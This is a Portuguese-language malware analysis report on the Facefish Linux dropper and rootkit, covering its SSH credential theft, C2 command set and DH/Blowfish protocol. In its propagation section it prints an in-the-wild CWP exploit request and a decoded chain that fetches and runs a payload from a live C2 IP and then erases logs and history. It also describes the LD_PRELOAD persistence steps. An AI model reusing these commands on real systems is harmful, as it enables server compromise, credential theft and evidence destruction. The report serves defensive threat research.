Relatório de análise do rootkit Facefish

Em fevereiro de 2021, encontramos uma amostra de ELF usando alguns exploits de Ndays do CWP, fizemos algumas análises, mas depois de verificar com um parceiro que tem boa visibilidade no tráfego de rede em algumas áreas da China, descobrimos que literalmente havia zero hit para C2 tráfego. Então seguimos em frente.

Um pouco da história

Em 26/04/2021, a Juniper publicou um blog sobre esta amostra, percebemos que alguns detalhes técnicos importantes não foram mencionados naquele blog, por isso decidimos concluir e publicar nosso relatório.

O arquivo de amostra ELF (38fb322cc6d09a6ab85784ede56bc5a7) é um Dropper, que libera um Rootkit. A Juniper não o nomeou, então demos um nome Facefish, já que o Dropper lançou diferentes rootkits em momentos diferentes e o algoritmo de criptografia Blowfish foi usado.

O Facefish suporta configuração bastante flexível, usa chaves de troca Diffie-Hellman, comunicação de rede criptografada Blowfish e sistemas Linux x64.

Visão geral

O Facefish consiste em 2 partes, Dropper e Rootkit, e sua função principal é determinada pelo módulo Rootkit, que funciona na camada Ring3 e é carregado usando o LD_PRELOADrecurso para roubar credenciais de login do usuário ao ligar funções relacionadas ao programa ssh / sshd, e também suporta algumas funções backdoor. Portanto, o Facefish pode ser caracterizado como um backdoor para a plataforma Linux.

As principais funções do Facefish são

  • Carregar informações do dispositivo
  • Roubo de credenciais de usuário
  • Bounce Shell
  • Execute comandos arbitrários

O processo básico é mostrado no diagrama a seguir.

fish_brief

Método de propagação

As vulnerabilidades exploradas em liberdade são mostradas abaixo

POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1
Host: xx.xxx.xxx.xx:2031
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0

Após decodificar a parte relacionada ao Facefish, obtém-se a seguinte sequência de comandos de execução, onde se pode verificar que a função principal é baixar a carga útil da primeira etapa de execução e, em seguida, limpar os rastros.

cd /usr/bin; 
/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; 
chmod 0777 /usr/bin/sshins; 
ls -al /usr/bin/sshins; ./sshins; 
cat /etc/ld.so.preload;
rm -rf /usr/bin/sshins; 
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log; 
history -c

Análise reversa

Em termos simples, o procedimento de infecção do Facefish pode ser dividido em 3 fases

Estágio 0: Estágio preliminar, disseminação pela vulnerabilidade e conta-gotas implantado no dispositivo

Estágio 1: estágio de liberação, o Dropper libera o rootkit

Etapa 2: Etapa operacional, o Rootkit coleta e retransmite informações confidenciais e aguarda a execução das instruções emitidas por C2

Vamos dar uma olhada no Estágio 1 e no Estágio 2.

Etapa 1: Análise de conta-gotas

As informações básicas do Dropper são mostradas abaixo, a função principal é detectar o ambiente em execução, descriptografar o Config e obter informações C2, configurar o Rootkit e, finalmente, liberar e iniciar o Rootkit.

MD5: 38fb322cc6d09a6ab85784ede56bc5a7

Executável LSB ELF de 64 bits, x86-64, versão 1 (GNU / Linux), vinculado estaticamente, removido

Empacotador: UPX

Vale a pena mencionar que o Dropper usa alguns trickspara neutralizar a detecção de antivírus no nível binário.

Truque 1: upx com sobreposição

Conforme mostrado na figura abaixo, os dados de configuração criptografados são usados ​​como sobreposição para preencher o final da amostra após o shelling upx.

O objetivo desta abordagem é duplo:

  1. Neutralizando a descapsulação upx
  2. Os dados do Config são desacoplados da amostra, para que o Config possa ser atualizado pela ferramenta sem compilar o código-fonte, o que é conveniente para circulação no mercado negro.

Truque 2: elfo sem seções

Conforme mostrado na figura abaixo, as informações da seção na amostra são apagadas após a remoção da casca

O objetivo desta abordagem também é duplo:

Algumas ferramentas que dependem de informações de seção para análise não funcionam corretamente e apagar seções torna a análise mais difícil até certo ponto.

Alguns mecanismos antivírus contam com as informações da seção para gerar a área de detecção do recurso; apagar a seção pode vender os olhos de alguns mecanismos antivírus.

Principais características do conta-gotas

O conta-gotas produzirá as seguintes informações quando for executado

fish_blow

Com base nessas informações, podemos dividir as funções do Dropper nos seguintes 4 estágios

  1. Detectando o ambiente de execução
  2. Descriptografar configuração
  3. Configurar Rootkit
  4. Libere e inicie o Rootkit

0 x 1: detecta o ambiente em execução

Leia os primeiros 16 bytes /bin/cate determine o número de bits do sistema atual verificando o valor do 5º byte (EI_CLASS); atualmente, o Facefish suporta apenas o sistema x64. Em seguida, ele verifica se está sendo executado com privilégios de root e, finalmente, tenta ler as informações de configuração do final de seu próprio arquivo. Se alguma dessas etapas falhar, o Facefish desistirá da infecção e sairá diretamente.

0x2: Descriptografando configuração

A informação de configuração original tem 128 bytes de comprimento, criptografada com o modo CBC do Blowfish e armazenada no final do arquivo na forma de sobreposição. A chave de descriptografia & iv do Blowfish é a seguinte.

  • chave: buil
  • iv: 00 00 00 00 00 00 00 00 00

Vale ressaltar que, ao usar o Blowfish, seu autor pregou uma pequena peça para “enojar” os pesquisadores de segurança durante o processo de codificação, conforme mostrado no trecho de código a seguir.

À primeira vista, alguém poderia pensar que a chave para o Blowfish é “construir”. Observe que o terceiro parâmetro é 4, ou seja, o comprimento da chave é 4 bytes, então a chave real é “buil”.

fish_blow

Pegue o Config original como exemplo.

BD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59
5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56
E4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2
00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69
EB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1
A0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF
71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1
BA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7

O Config descriptografado é mostrado abaixo, você pode ver as informações c2: port (176.111.174.26:443).

O significado específico de cada campo é o seguinte:

DESLOCAMENTOCOMPRIMENTOSIGNIFICADO
0x004Magia
0x0c4intervalo
0x104deslocamento de c2
0x144porta
0x20 (apontado por 0x10)c2

Após a descriptografia ser concluída, o seguinte trecho de código é usado para verificar o Config, o método de verificação é relativamente simples, ou seja, comparar o valor mágico não é 0xCAFEBABE, quando a verificação passou, entrar no estágio de configuração do Rootkit.

fish_blow

0x3: Configurar Rootkit

Em primeiro lugar, a hora atual é usada como semente para gerar 16 bytes aleatoriamente como a nova chave de criptografia Blowfish, e o Config obtido no estágio anterior é criptografado novamente com a nova chave.

Em seguida, use o sinalizador 0xCAFEBABEDEADBEEFpara localizar a localização específica do Rootkit no Dropper e escreva a nova chave de criptografia e as informações de configuração criptografadas novamente.

As alterações no arquivo são mostradas abaixo.
Antes de escrever.

Depois de escrever.

Nesse processo, como a chave de criptografia é gerada aleatoriamente, o valor MD5 do Rootkit lançado em momentos diferentes é diferente e especulamos que esse design seja usado para neutralizar a detecção de HASH em preto e branco do antivírus.

fish_blow

Também vale a pena mencionar que o Facefish suporta especificamente o sistema operacional FreeBSD. A implementação é relativamente simples, conforme mostrado abaixo, ou seja, determinando se o EI_OSABI no binário cat é igual a 9, se for o caso, o valor EI_OSABI no Rootkit é modificado para 9.

fish_freebsd

0x4: Libere e inicie o Rootkit

Grave o Rootkit configurado no estágio anterior no /lib64/libs.soarquivo e grave o seguinte /etc/ld.so.preloadpara realizar o pré-carregamento do Rootkit.

 /lib64/libs.so

Reinicie o serviço ssh com o seguinte comando para dar ao Rootkit a chance de carregar no aplicativo sshd

/etc/init.d/sshd restart
/etc/rc.d/sshd restart
service ssh restart
systemctl restart ssh
systemctl restart sshd.service

O efeito real é mostrado abaixo.

Nesse ponto, a tarefa do Dropper está concluída e o Rootkit começa a funcionar.

Estágio 2: Análise de Rootkit

O módulo de Rootkit do Facefish libs.so funciona na camada Ring3 e é carregado através do recurso LD_PRELOAD, suas informações básicas são as seguintes.

MD5: d6ece2d07aa6c0a9e752c65fbe4c4ac2

ELF objeto compartilhado LSB de 64 bits, x86-64, versão 1 (SYSV), vinculado dinamicamente, removido

No IDA você pode ver que ele exporta 3 funções, de acordo com o mecanismo de pré-carregamento, quando o rootkit é carregado, eles substituirão a função do libc de mesmo nome e implementarão o gancho.

face_export

init_procfunção, sua função principal é ligar funções relacionadas ao processo ssh / sshd para roubar credenciais de login.
bindfunção, cuja principal função é reportar informações do dispositivo e aguardar a execução dos comandos C2.
startfunção, cuja principal função é calcular chaves para o processo de troca de chaves na comunicação em rede.

Análise da função .init_proc

A função .init_proc irá primeiro descriptografar Config, obter C2, PORT e outras informações relacionadas, então determinar se o processo que está sendo injetado é SSH / SSHD, se for, então HOOK as funções relacionadas que lidam com as credenciais e, finalmente, quando o ssh se conecta ativamente para ele, ou quando o sshd recebe passivamente uma conexão externa, o Facefish, com a ajuda da função Hook, rouba as credenciais de login e as envia para C2.

0x1 Encontrando SSH

Se o sistema atual for FreeBSD, a função dlopen obtém o endereço da estrutura link_map e usa o link_map para iterar através dos módulos carregados pelo processo atual para encontrar módulos relacionados ao SSH.

fish_fmap

Se o sistema atual não for FreeBSD, o endereço do link_map é obtido no item 2 da .got.plttabela.

fish_nmap

Depois de obter o módulo relacionado ao SSH, a próxima etapa é determinar se o módulo é ssh / sshd de uma forma relativamente simples, ou seja, verificar se a seguinte string está presente no módulo. Por isso, sabe-se que o Facefish na verdade só ataca a implementação OpenSSH de cliente / servidor.

1:usage: ssh
2:OpenSSH_

0x2 função HOOK

Primeiro, o Facefish procura o endereço da função a ser conectada

onde a função ssh a ser conectada é mostrada a seguir.

A função sshd a ser conectada é mostrada abaixo.

Se não for encontrado, o nome da função é prefixado com Fssh_ e procurado novamente. Se ainda não for encontrada, a função está localizada indiretamente por meio da string na função. Finalmente, o Gancho é implementado pelo seguinte trecho de código

face_hook

A comparação real antes e depois do HOOK é mostrada abaixo.

0x3 Roubo de credenciais de login

Facefish rouba as credenciais de login com a ajuda da função após o Hook e relata para C2.

fish_upinfo

O formato dos dados relatados é %08x-%08x-%08x-%08x,%s,%s,%s,%s,%s, onde as primeiras 32 seções são a chave criptografada, seguida pelo número da conta, host remoto, senha e outras informações.

As informações reportadas na prática são apresentadas a seguir.

análise da função de ligação

Uma vez que o usuário efetua login por meio de ssh, ele irá disparar a função bind e então executar uma série de comportamentos backdoor, como segue.

Se a porta dos fundos for inicializada normalmente, primeiro ele bifurcará o processo da porta dos fundos e entrará no loop de instruções da conexão C2, e o processo pai chamará a função de ligação real por meio de syscall (0x68 / 0x31).

0x1: comportamento do host

Determine se o processo pai sshd existe, se o processo pai sai, o processo backdoor também sai.

Se o processo pai existir, comece a coletar informações do host, incluindo: modelo de CPU, Arch, tamanho da memória, tamanho do disco rígido, arquivo de configuração relacionado ao serviço ssh e dados de credencial.

Modelo de CPU

Memória

Disco rígido

Dispositivo de rede

Relacionado ao serviço SSH

0x2: Introdução aos comandos C2

O Facefish usa um protocolo de comunicação complexo e algoritmo de criptografia, entre os quais as instruções começando com 0x2XX são usadas para trocar chaves públicas, que iremos analisar em detalhes na próxima subseção. Aqui está uma breve explicação das instruções funcionais C2.

  • Enviar 0x305

Se deseja enviar as informações de registro 0x305, caso contrário, colete as informações e relate-as.

  • Enviar 0x300

Função para relatar informações de credenciais roubadas

  • Enviar 0x301

Colete informações de uname, agrupe pacotes e envie 0x301, aguarde mais instruções

  • Receba 0x302

Aceite o comando 0x302, inverta o shell.

  • Receba 0x310

Aceite o comando 0x310, execute qualquer comando do sistema

  • Enviar 0x311

Envie a instrução 0x311 para retornar o resultado da execução do bash

  • Receba 0x312

Aceite a instrução 0x312 para coletar novamente e relatar as informações do host

0x3: Análise do protocolo de comunicação

O processo de comunicação do rootkit usa protocolo / algoritmo de troca de chave DH (Diffie – Hellman) para troca de chave e BlowFish é usado para criptografia de dados de comunicação, portanto, é impossível descriptografar apenas os dados de tráfego. Cada sessão é dividida em duas fases, a primeira fase é a negociação da chave, a segunda fase usa a chave negociada para criptografar os dados enviados, recebe e descriptografa um comando C2 e, em seguida, desconecta a conexão TCP. Esse método de comunicação de criptografia um por vez é difícil de detectar com precisão pelas características do tráfego.

De um modo geral, a maneira mais fácil de se comunicar usando a estrutura do protocolo DH é usar a biblioteca OpenSSL, e o autor do Facefish codificou (ou usou alguns projetos de código aberto) todo o processo de comunicação, e o tamanho do código é muito compacto porque não bibliotecas de terceiros são introduzidas.

  • Princípio de comunicação DH

Todo o protocolo de comunicação é baseado na estrutura de DH, portanto, precisamos primeiro entender brevemente o princípio de comunicação de DH. Sem discutir o princípio matemático por trás, usamos um exemplo simples para descrever o processo de comunicação diretamente por fórmula.

Etapa 1. A gera um número aleatório a = 4, escolhe um número primo p = 23 e um número base g = 5 e calcula a chave pública A (A=gacontrap=54contra23=4A=gacontrap=54contra23=4), então envia p, g e A para B ao mesmo tempo.

Etapa 2. Depois de receber a mensagem acima, B também gera um número aleatório b = 3 e usa a mesma fórmula para calcular a chave pública B (B=gbcontrap=53contra23=10B=gbcontrap=53contra23=10), então envia B para A. Ao mesmo tempo, B calcula a chave de comunicação s = 3 e um número base g = 5. Enquanto isso, B calcula a chave de comunicaçãos=Abcontrap=(ga)bcontrap=18s=Abcontrap=(ga)bcontrap=18.

etapa 3. A recebe B e também calcula a chave de comunicação s=Bacontrap=(gb)acontrap=18s=Bacontrap=(gb)acontrap=18

etapa 4. A e B usam a chave de comunicação se o algoritmo de criptografia simétrica BlowFish para criptografar e descriptografar os dados de comunicação.

Em essência, uma derivação simples mostra que A e B calcula pela mesma fórmula.

s=Bacontrap=(gb)acontrap=gabcontrap=(ga)bcontrap=Abcontraps=Bacontrap=(gb)acontrap=gabcontrap=(ga)bcontrap=Abcontrap

Existe uma função matemática fundamental em todo o algoritmo para encontrar o módulo de potência, potência (x, y) mod z. Quando xey são grandes, é difícil resolver diretamente, então o algoritmo de módulo de potência rápido é usado. A função de início mencionada anteriormente é o código-chave no binpow () de potência rápida.

  • Análise de protocolo

O envio e o recebimento de pacotes usam a mesma estrutura de dados.

  struct package{
      struct header{
          WORD payload_len;  //payload length
          WORD cmd;          //cmmand
          DWORD payload_crc; // payload crc
      } ;
      struct header hd;
      unsigned char payload[payload_len]; // payload
  }

Como exemplo, o pacote de instruções 0x200 pode ser definido como segue.

struct package pkg = {
	.hd.payload_len = 0;
	.hd.cmd = 0x200;
	.hd.payload_crc = 0;
	.payload = "";
}

Em relação ao princípio de comunicação DH e dados de tráfego, analisamos o protocolo de comunicação.

  1. o bot primeiro envia a instrução 0x200, os dados da carga útil estão vazios.
  2. C2 respondeu à instrução 0x201, comprimento de carga útil de 24 bytes, convertido em três valores de 64 bits pelo final menor, correspondendo aos três dados-chave enviados por A na etapa 1, p = 0x294414086a9df32a, g = 0x13a6f8eb15b27aff, A = 0x0d87179e844f3758.
  3. Correspondendo à etapa 2, o bot gera um número aleatório b localmente e, em seguida, gera B = 0x0e27ddd4b848924c com base no p, g recebido, que é enviado para C2 pela instrução 0x202. completando assim a troca de chaves de sessão.
  1. Correspondendo à etapa 3, bot e C2 geram as chaves Blowfish s e iv pela chave pública A e a chave pública B. Onde iv é obtido pela dissimilaridade de p e g.

Com iv e s, podemos criptografar e descriptografar os dados de comunicação. Os dados reais de comunicação são criptografados usando o algoritmo BlowFish, que é o mesmo método de criptografia de perfil mencionado anteriormente. bot envia o comando 0x305 para C2 com o comprimento de 0x1b0, e o conteúdo são os dados do pacote de registro após a criptografia BlowFish.

Os dados do pacote de uplink descriptografados são os seguintes.

COI

Amostra MD5

38fb322cc6d09a6ab85784ede56bc5a7 sshins
d6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so

C2

176.111.174.26:443

Fonte: https://blog.netlab.360.com/